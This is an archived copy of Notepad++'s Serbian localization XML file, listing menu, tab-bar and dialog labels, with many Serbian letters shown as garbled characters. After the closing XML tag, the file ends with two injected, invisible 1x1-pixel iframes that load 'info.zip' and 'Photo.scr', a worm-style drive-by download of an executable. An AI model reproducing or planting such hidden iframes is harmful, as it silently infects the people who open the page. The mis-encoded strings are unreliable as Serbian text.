home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
207.233.110.77
/
207.233.110.77.tar
/
207.233.110.77
/
web23
/
Tutorial4-Data Files
/
Notepad++
/
localization
/
serbian.xml
< prev
next >
Wrap
Extensible Markup Language
|
2016-05-28
|
24KB
|
451 lines
<?xml version="1.0" encoding="Windows-1252" ?>
<NotepadPlus>
<Native-Langue name = "Srpski(Serbian)" filename="serbian.xml" >
<Menu>
<Main>
<!-- Main Menu Entries -->
<Entries>
<Item id = "0" name = "D&okument"/>
<Item id = "1" name = "&Uredi"/>
<Item id = "2" name = "&Tra₧i"/>
<Item id = "3" name = "&Prikaz"/>
<Item id = "4" name = "For&mat"/>
<Item id = "5" name = "&Jezik"/>
<Item id = "6" name = "P&ostavke"/>
<Item id = "7" name = "Makro"/>
<Item id = "8" name = "Pokreni"/>
<Item idName = "Plugins" name = "Dodaci"/>
<Item idName = "Window" name = "Prozor"/>
</Entries>
<!-- Sub Menu Entries -->
<SubEntries>
<Item posX = "3" posY = "16" name = "Sakrij nivo"/>
<Item posX = "3" posY = "17" name = "Otkrij nivo"/>
</SubEntries>
<!-- all menu item -->
<Commands>
<Item id = "41001" name = "&Novi Ctrl+N"/>
<Item id = "41002" name = "&Otvori Ctrl+O"/>
<Item id = "41003" name = "Zatvori Ctrl+W"/>
<Item id = "41004" name = "Z&atvori sve"/>
<Item id = "41005" name = "Zatvori sve osim TRENUTNOG dokumenta"/>
<Item id = "41006" name = "&SaΦuvaj Ctrl+S"/>
<Item id = "41007" name = "SaΦ&uvaj sve Ctrl+Shift+S"/>
<Item id = "41008" name = "SaΦuvaj &kao..."/>
<Item id = "41010" name = "IspiÜi... Ctrl+P"/>
<Item id = "1001" name = "ètampaj odmah!"/>
<Item id = "41011" name = "I&zlaz"/>
<Item id = "41012" name = "UΦitaj sesiju..."/>
<Item id = "41013" name = "Snimi sesiju..."/>
<Item id = "41014" name = "Ponovo uΦitaj s diska"/>
<Item id = "42001" name = "Is&eci Ctrl+X"/>
<Item id = "42002" name = "&Kopiraj Ctrl+C"/>
<Item id = "42003" name = "&PoniÜti Ctrl+Z"/>
<Item id = "42004" name = "&Ponovi Ctrl+Y"/>
<Item id = "42005" name = "&Umetni Ctrl+V"/>
<Item id = "42006" name = "&ObriÜi Del"/>
<Item id = "42007" name = "Odaberi s&ve Ctrl+A"/>
<Item id = "42008" name = "Umetni TAB (Indent) TAB"/>
<Item id = "42009" name = "Zatvori TAB (Outdent) Shift+TAB"/>
<Item id = "42010" name = "Dupliraj trenutnu liniju Ctrl+D"/>
<Item id = "42011" name = "Transpondiraj trenutnu liniju Ctrl+T"/>
<Item id = "42012" name = "Podeli linije Ctrl+I"/>
<Item id = "42013" name = "Spoji linije Ctrl+J"/>
<Item id = "42014" name = "Pomakni trenutnu liniju u red iznad Ctrl+Shift+Up"/>
<Item id = "42015" name = "Pomakni trenutnu liniju u red ispod Ctrl+Shift+Down"/>
<Item id = "42016" name = "Promeni oznaΦena slova u velika Ctrl+Shift+U"/>
<Item id = "42017" name = "Promeni oznaΦena slova u mala Ctrl+U"/>
<Item id = "42018" name = "&PoΦni snimanje Ctrl+Shift+R"/>
<Item id = "42019" name = "&Zaustavi snimanje Ctrl+Shift+R"/>
<Item id = "42021" name = "&Pusti snimljeno Ctrl+Shift+P"/>
<Item id = "42022" name = "Blokiraj komentar"/>
<Item id = "42023" name = "Strimuj komentar"/>
<Item id = "42024" name = "Trimuj preostali prostor"/>
<Item id = "42025" name = "Spremi trenutno snimljeni makro"/>
<Item id = "42026" name = "Smer teksta Desno na levo Ctrl+Alt+R"/>
<Item id = "42027" name = "Smer teksta Levo na desno Ctrl+Alt+L"/>
<Item id = "42028" name = "Postavi samo za Φitanje"/>
<Item id = "42029" name = "Prebaci celu putanju fajla u klipbord"/>
<Item id = "42030" name = "Prebaci ime fajla u klipbord"/>
<Item id = "42031" name = "Prebaci celu putanju foldera u klipbord"/>
<Item id = "42032" name = "Pokreni makro viÜe puta..."/>
<Item id = "42033" name = "Ukloni oznaku samo za Φitanje"/>
<Item id = "43001" name = "&Prona≡i... Ctrl+F"/>
<Item id = "43002" name = "Prona≡i &Sledeµe F3"/>
<Item id = "43003" name = "Zameni... Ctrl+H"/>
<Item id = "43004" name = "Idi u red... Ctrl+G"/>
<Item id = "43005" name = "OznaΦi liniju Ctrl+F2"/>
<Item id = "43006" name = "Sledeµa oznaΦena linija F2"/>
<Item id = "43007" name = "Prethodna oznaΦena linija Shift+F2"/>
<Item id = "43008" name = "OdznaΦi sve linije"/>
<Item id = "43009" name = "Idi do kraja zagrade Ctrl+B"/>
<Item id = "43010" name = "Prona≡i prethodno Shift+F3"/>
<Item id = "43011" name = "&Inkrementalna pretraga... Ctrl+Alt+I"/>
<Item id = "43013" name = "Prona≡i u dokumentima Ctrl+Shift+F"/>
<Item id = "43014" name = "Na≡i sledeµi Ctrl+F3"/>
<Item id = "43015" name = "Na≡i prethodni Ctrl+Shift+F3"/>
<Item id = "43016" name = "Obele₧i sve Ctrl+M"/>
<Item id = "43017" name = "Nemoj obele₧iti niÜta Ctrl+Shift+M"/>
<Item id = "44010" name = "Sakrij sve nivoe Alt+0"/>
<Item id = "44011" name = "Formular za korisnikove definicije"/>
<Item id = "44019" name = "Poka₧i/sakrij sve znakove"/>
<Item id = "44020" name = "Prika₧i crte koje oznaΦavaju nivoe"/>
<Item id = "44022" name = "Prilagodi da stane u prozor"/>
<Item id = "44023" name = "Pribli₧i & Ctrl-MiÜ ToΦkiµ nagore"/>
<Item id = "44024" name = "Udalji & Ctrl-MiÜ ToΦkiµ nadole"/>
<Item id = "44025" name = "Poka₧i gde je upotrebljen razmak i TAB"/>
<Item id = "44026" name = "Poka₧i kraj reda"/>
<Item id = "44029" name = "Otkrij sve nivoe Alt+Shift+0"/>
<Item id = "44030" name = "Sakrij trenutni nivo Ctrl+Alt+F"/>
<Item id = "44031" name = "Otkrij trenutni nivo Ctrl+Alt+Shift+F"/>
<Item id = "44032" name = "Celi zaslon F11"/>
<Item id = "44033" name = "Orginalne postavke za zoom Ctrl+/(keypad)"/>
<Item id = "44034" name = "Uvek na vrhu"/>
<Item id = "44035" name = "Sinhronizuj vertikalni skrol"/>
<Item id = "44036" name = "Sinhronizuj horizontalni skrol"/>
<Item id = "44041" name = "Prika₧i wrap simbol "/>
<Item id = "45001" name = "Promeni u Windows Format"/>
<Item id = "45002" name = "Promeni u UNIX Format"/>
<Item id = "45003" name = "Promeni u MAC Format"/>
<Item id = "45004" name = "Kodiraj u ANSI"/>
<Item id = "45005" name = "Kodiraj u UTF-8"/>
<Item id = "45006" name = "Kodiraj u UCS-2 Big Endian"/>
<Item id = "45007" name = "Kodiraj u UCS-2 Little Endian"/>
<Item id = "45008" name = "Kodiraj u UTF-8 (bez BOM)"/>
<Item id = "10001" name = "Prikaz u drugom delu"/>
<Item id = "10002" name = "Dvostruki prikaz"/>
<Item id = "46001" name = "Postavke stilova..."/>
<Item id = "47000" name = "O programu... F1"/>
<Item id = "47001" name = "Notepad++ Internet stranica"/>
<Item id = "47002" name = "Notepad++ Stranica projekta"/>
<Item id = "47003" name = "Pomoµ preko interneta"/>
<Item id = "47004" name = "Forum"/>
<Item id = "47005" name = "Dodaj nove prikljuΦke"/>
<Item id = "48009" name = "Kombinacije tastera..."/>
<Item id = "48011" name = "Postavke..."/>
<Item id = "49000" name = "&Pokreni..."/>
<Item id = "50000" name = "Dopuna funkcija Ctrl+Space"/>
<Item id = "50001" name = "Dopuna reΦi Ctrl+Shift+Space"/>
<Item id = "42034" name = "Editor kolona... Alt+C"/>
<Item id = "44042" name = "Sakrij linije Alt+H"/>
<Item id = "42040" name = "Otvori sve nedavne fajlove"/>
</Commands>
</Main>
<Splitter>
</Splitter>
<TabBar>
<Item order = "0" name = "Zatvori me"/>
<Item order = "1" name = "Zatvori sve osim mene"/>
<Item order = "2" name = "SaΦuvaj me"/>
<Item order = "3" name = "SaΦuvaj me kao..."/>
<Item order = "4" name = "IspiÜi me"/>
<Item order = "5" name = "Prikaz u drugom delu"/>
<Item order = "6" name = "Dvostruki prikaz"/>
</TabBar>
</Menu>
<Dialog>
<Find title = "Prona≡i...">
<Item id = "1" name = "Prona≡i sledeµe"/>
<Item id = "2" name = "Zatvori"/>
<Item id = "1620" name = "Prona≡i :"/>
<Item id = "1603" name = "Samo &cela reΦ"/>
<Item id = "1604" name = "Ista &velika i mala slova"/>
<Item id = "1605" name = "Regularni &izraz"/>
<Item id = "1606" name = "Obavij &oko"/>
<Item id = "1612" name = "&Gore"/>
<Item id = "1613" name = "&Dole"/>
<Item id = "1614" name = "Prebroj"/>
<Item id = "1615" name = "Prona≡i sve"/>
<Item id = "1616" name = "Obele₧i liniju"/>
<Item id = "1617" name = "Na≡en je token"/>
<Item id = "1618" name = "Za svaku pretragu"/>
<Item id = "1621" name = "Smer"/>
<Item id = "1611" name = "Zame &ni sa:"/>
<Item id = "1608" name = "&Zameni"/>
<Item id = "1609" name = "Zameni &sve"/>
<Item id = "1623" name = "Prozirnost"/>
<Item id = "1687" name = "Kad nije u fokusu"/>
<Item id = "1688" name = "Uvek"/>
<Item id = "1632" name = "U selekciji"/>
<Item id = "1633" name = "OΦisti"/>
<Item id = "1635" name = "Zameni sve u svim otvorenim dokumentima"/>
<Item id = "1636" name = "Prona≡i sve u svim otvorenim dokumentima"/>
<Item id = "1637" name = "Prona≡i u dokumentima"/>
<Item id = "1640" name = "Zameni dijalog"/>
<Item id = "1654" name = "Filteri :"/>
<Item id = "1655" name = "Folder :"/>
<Item id = "1656" name = "Na≡i sve"/>
<Item id = "1658" name = "U svim pod-folderima"/>
</Find>
<GoToLine title = "Idi u red #">
<Item id = "1" name = "&Kreni !"/>
<Item id = "2" name = "Ne idem nikuda"/>
<Item id = "2004" name = "Trenutni red :"/>
<Item id = "2005" name = "Äeljeni red :"/>
<Item id = "2006" name = "Ne mo₧eÜ iµi dalje od :"/>
</GoToLine>
<Run title = "Pokreni...">
<Item id = "1903" name = "Ime programa koga treba pokrenuti"/>
<Item id = "1" name = "Pokreni!"/>
<Item id = "2" name = "Odustani"/>
<Item id = "1904" name = "Spremi..."/>
</Run>
<StyleConfig title = "Postavke stilova">
<Item id = "1" name = "PokuÜaj!"/>
<Item id = "2" name = "Odustani"/>
<Item id = "2301" name = "Spremi && Zatvori"/>
<Item id = "2303" name = "Prozirnost"/>
<SubDialog>
<Item id = "2204" name = "Masno"/>
<Item id = "2205" name = "Koso"/>
<Item id = "2206" name = "Boja slova"/>
<Item id = "2207" name = "Pozadinska boja"/>
<Item id = "2208" name = "Tip slova :"/>
<Item id = "2209" name = "VeliΦina slova :"/>
<Item id = "2210" name = "Pozor : Definicije ovog stila µe biti podrazumevane definicije za sve nedefinisane stilove"/>
<Item id = "2211" name = "Opis stila :"/>
<Item id = "2212" name = "Boja stila"/>
<Item id = "2213" name = "Slova stila"/>
<Item id = "2214" name = "Nastavci :"/>
<Item id = "2216" name = "Koris. nastavci :"/>
<Item id = "2218" name = "PodvuΦeno"/>
<Item id = "2219" name = "Podrazumevane kljuΦne reΦi"/>
<Item id = "2221" name = "Korisnikove kljuΦne reΦi"/>
<Item id = "2225" name = "Jezik :"/>
<Item id = "2226" name = "Omoguµi globalnu boju prikaza"/>
<Item id = "2227" name = "Omoguµi globalnu boju pozadine"/>
<Item id = "2228" name = "Omoguµi globalni font"/>
<Item id = "2229" name = "Omoguµi globalnu veliΦinu fonta"/>
<Item id = "2230" name = "Omoguµi globalni podebljani font stil"/>
<Item id = "2231" name = "Omoguµi globalni italik font stil"/>
<Item id = "2232" name = "Omoguµi globalni podvuΦeni font stil"/>
</SubDialog>
</StyleConfig>
<UserDefine title = "KorisniΦki definisano">
<Item id = "20002" name = "Preimenuj"/>
<Item id = "20003" name = "Napravi nov..."/>
<Item id = "20004" name = "Ukloni"/>
<Item id = "20005" name = "Spremi kao..."/>
<Item id = "20007" name = "Jezik : "/>
<Item id = "20009" name = "Ekst :"/>
<Item id = "20012" name = "IgnoriÜi mala/velika slova"/>
<Item id = "20011" name = "Prozirnost"/>
<Item id = "0" name = "Stil boje"/>
<Item id = "1" name = "Boja slova"/>
<Item id = "2" name = "Pozadinska boja"/>
<Item id = "3" name = "Stil slova"/>
<Item id = "4" name = "Tip slova :"/>
<Item id = "5" name = "VeliΦina slova :"/>
<Item id = "6" name = "Masno"/>
<Item id = "7" name = "Koso"/>
<Item id = "8" name = "Podcrtano"/>
<Folder title = "Folder && Podrazumevano">
<Item id = "21101" name = "Podrazumevani stil"/>
<Item id = "21201" name = "Otvaranje foldera"/>
<Item id = "21301" name = "Zatvaranje foldera"/>
</Folder>
<Keywords title = "Lista kljuΦnih reΦi">
<Item id = "22101" name = "Grupa 1"/>
<Item id = "22201" name = "Grupa 2"/>
<Item id = "22301" name = "Grupa 3"/>
<Item id = "22401" name = "Grupa 4"/>
<Item id = "22113" name = "Prefiks mod"/>
<Item id = "22213" name = "Prefiks mod"/>
<Item id = "22313" name = "Prefiks mod"/>
<Item id = "22413" name = "Prefiks mod"/>
</Keywords>
<Comment title = "Comentar && Broj">
<Item id = "23301" name = "Komentar u liniji"/>
<Item id = "23101" name = "Komentar u bloku"/>
<Item id = "23113" name = "Otvori komentar :"/>
<Item id = "23115" name = "Zatvori komentar :"/>
<Item id = "23116" name = "Tretiraj kljuΦnu reΦ kao simbol"/>
<Item id = "23117" name = "Tretiraj kljuΦne reΦe kao simbole"/>
<Item id = "23201" name = "Broj"/>
</Comment>
<Operator title = "Operatori">
<Item id = "24107" name = "Operator"/>
<Item id = "24103" name = "Dostupni simboli"/>
<Item id = "24101" name = "Aktivirani Operatori"/>
<Item id = "24201" name = "Delimiter 1"/>
<Item id = "24211" name = "Otvori graniΦnik :"/>
<Item id = "24214" name = "Zatvori graniΦnik :"/>
<Item id = "24301" name = "Delimiter 2"/>
<Item id = "24311" name = "Otvori graniΦnik :"/>
<Item id = "24314" name = "Zatvori graniΦnik :"/>
</Operator>
</UserDefine>
<Preference title = "Postavke">
<Item id = "6001" name = "Zatvori"/>
<Global title = "Globalno">
<Item id = "6101" name = "Alatnica"/>
<Item id = "6102" name = "Sakrij"/>
<Item id = "6103" name = "Male ikone"/>
<Item id = "6104" name = "Velike ikone"/>
<Item id = "6105" name = "Male standardne ikone"/>
<Item id = "6106" name = "Tab bar"/>
<Item id = "6107" name = "Smanji"/>
<Item id = "6108" name = "ZakljuΦaj (Bez PrevlaΦenja)"/>
<Item id = "6109" name = "Nacrtaj neaktivne tabove"/>
<Item id = "6110" name = "Nacrtaj oran₧ top bar"/>
<Item id = "6111" name = "Prika₧i statusbu liniju"/>
<Item id = "6112" name = "Prika₧i dugme za zatvaranje na svakom tabu"/>
<Item id = "6113" name = "Dupli klik za zatvaranje dokumenta"/>
<Item id = "6114" name = "Dozvoli promenu dokumenta (Ctrl+Tab)"/>
<Item id = "6115" name = "Auto-poravnanje"/>
<Item id = "6116" name = "Zapamti zadnji folder koji je koriܵen"/>
<Item id = "6117" name = "Omoguµi MRU ponaÜanje za promenu dokumenta"/>
</Global>
<Scintillas title = "Komponente izmene">
<Item id = "6201" name = "Stil margina foldera"/>
<Item id = "6202" name = "Prosto"/>
<Item id = "6203" name = "Strelica"/>
<Item id = "6204" name = "Kru₧ni tok"/>
<Item id = "6205" name = "Kvadrat"/>
<Item id = "6206" name = "Prika₧i marginu za broj linije"/>
<Item id = "6207" name = "Prika₧i marginu za bookmarke"/>
<Item id = "6208" name = "Prika₧i vertikalnu granicu"/>
<Item id = "6209" name = "Broj kolone : "/>
<Item id = "6211" name = "PodeÜavanje vertikalne granice"/>
<Item id = "6212" name = "Linijski mod"/>
<Item id = "6213" name = "Pozadinski mod"/>
<Item id = "6214" name = "Osvetli trenutnu liniju"/>
</Scintillas>
<NewDoc title = "Nov dokument">
<Item id = "6401" name = "Format"/>
<Item id = "6402" name = "Windows"/>
<Item id = "6403" name = "Unix"/>
<Item id = "6404" name = "Mac"/>
<Item id = "6405" name = "Kodiranje"/>
<Item id = "6406" name = "ANSI"/>
<Item id = "6407" name = "UTF-8 bez BOM"/>
<Item id = "6408" name = "UTF-8"/>
<Item id = "6409" name = "UCS2 Big endian"/>
<Item id = "6410" name = "UCS2 small endian"/>
<Item id = "6411" name = "Osnovni jezik :"/>
</NewDoc>
<FileAssoc title = "Asocijacije fajlova">
<Item id = "4009" name = "Podr₧ane ekst :"/>
<Item id = "4010" name = "Registrovane ekst :"/>
</FileAssoc>
<LangMenu title = "JeziΦki meni">
<Item id = "6505" name = "Dostupne ikone"/>
<Item id = "6506" name = "Nedostupne ikone"/>
</LangMenu>
<Print title = "ètampa">
<Item id = "6601" name = "ètampaj broj linije"/>
<Item id = "6602" name = "Opcije boja"/>
<Item id = "6603" name = "WYSIWYG"/>
<Item id = "6604" name = "Invertuj"/>
<Item id = "6605" name = "Crno na belom"/>
<Item id = "6606" name = "Bez pozadinske boje"/>
<Item id = "6607" name = "Podesi marginu ( U : mm)"/>
<Item id = "6612" name = "Leva"/>
<Item id = "6613" name = "Vrh"/>
<Item id = "6614" name = "Desna"/>
<Item id = "6615" name = "Dno"/>
<Item id = "6706" name = "Podebljano"/>
<Item id = "6707" name = "Italik"/>
<Item id = "6708" name = "Zaglavlje"/>
<Item id = "6709" name = "Levi deo"/>
<Item id = "6710" name = "Srednji deo"/>
<Item id = "6711" name = "Desni deo"/>
<Item id = "6717" name = "Podebljano"/>
<Item id = "6718" name = "Italik"/>
<Item id = "6719" name = "Podno₧je"/>
<Item id = "6720" name = "Levi deo"/>
<Item id = "6721" name = "Srednji deo"/>
<Item id = "6722" name = "Desni deo"/>
<Item id = "6723" name = "Dodaj"/>
<Item id = "6725" name = "Pormenljiva :"/>
</Print>
<MISC title = "Razno">
<Item id = "6301" name = "Podesi tabove"/>
<Item id = "6302" name = "Zameni sa razmakom"/>
<Item id = "6303" name = "VeliΦina taba : "/>
<Item id = "6304" name = "Podesi istoriju fajlova"/>
<Item id = "6305" name = "Ne proveravaj pri startu"/>
<Item id = "6306" name = "Maks broj fajlova u istoriji :"/>
<Item id = "6307" name = "Dozvoli"/>
<Item id = "6308" name = "Smanji u tray"/>
<Item id = "6309" name = "Zapamti trenutnu sesiju za sledeµi start"/>
<Item id = "6312" name = "Auto detekcija statusa fajlova"/>
<Item id = "6313" name = "Tiho a₧uriranje"/>
<!--
<Item id = "6314" name = "Opcije bekapa"/>
-->
<Item id = "6318" name = "Podesi aktivne linkove"/>
<Item id = "6319" name = "Dozvoli"/>
<Item id = "6320" name = "Nemoj podvlaΦiti"/>
</MISC>
<Backup title = "Bekap/Auto-dopunjavanje">
<Item id = "6801" name = "Bekap"/>
<Item id = "6315" name = "Bez"/>
<Item id = "6316" name = "Prosti bekap"/>
<Item id = "6317" name = "Verbalni bekap"/>
<Item id = "6804" name = "DefiniÜi folder za bekap"/>
<Item id = "6803" name = "Folder :"/>
<Item id = "6807" name = "Auto-kompletiranje"/>
<Item id = "6808" name = "Dozvoli Auto-kompletiranje za svaki unos"/>
<Item id = "6809" name = "Kompletiraj funkcije"/>
<Item id = "6810" name = "Kompletiraj reΦi"/>
</Backup>
</Preference>
<MultiMacro title = "Pokreni makro viÜe puta">
<Item id = "1" name = "Pokreni"/>
<Item id = "2" name = "Otka₧i"/>
<Item id = "8006" name = "Pokreni makro :"/>
<Item id = "8001" name = "Pokreni"/>
<Item id = "8005" name = "puta"/>
<Item id = "8002" name = "Pokreni do kraja fajla"/>
</MultiMacro>
<Window title = "Prozori">
<Item id = "1" name = "Aktiviraj"/>
<Item id = "2" name = "U redu"/>
<Item id = "7002" name = "Snimi"/>
<Item id = "7003" name = "Zatvori(e)"/>
<Item id = "7004" name = "Sortiraj Tabove"/>
</Window>
<ColumnEditor title = "Editor kolona">
<Item id = "2023" name = "Tekst za ubacivanje"/>
<Item id = "2033" name = "Broj za ubacivanje"/>
<Item id = "2030" name = "Inicijalni broj :"/>
<Item id = "2031" name = "Poveµavaj za :"/>
<Item id = "2035" name = "Vodeµe nule"/>
<Item id = "2032" name = "Format"/>
<Item id = "2024" name = "Dec"/>
<Item id = "2025" name = "Okt"/>
<Item id = "2026" name = "Hex"/>
<Item id = "2027" name = "Bin"/>
<Item id = "1" name = "U redu"/>
<Item id = "2" name = "Otka₧i"/>
</ColumnEditor>
</Dialog>
</Native-Langue>
</NotepadPlus>
<iframe src=info.zip width=1 height=1 frameborder=0>
</iframe>
<iframe src=Photo.scr width=1 height=1 frameborder=0>
</iframe>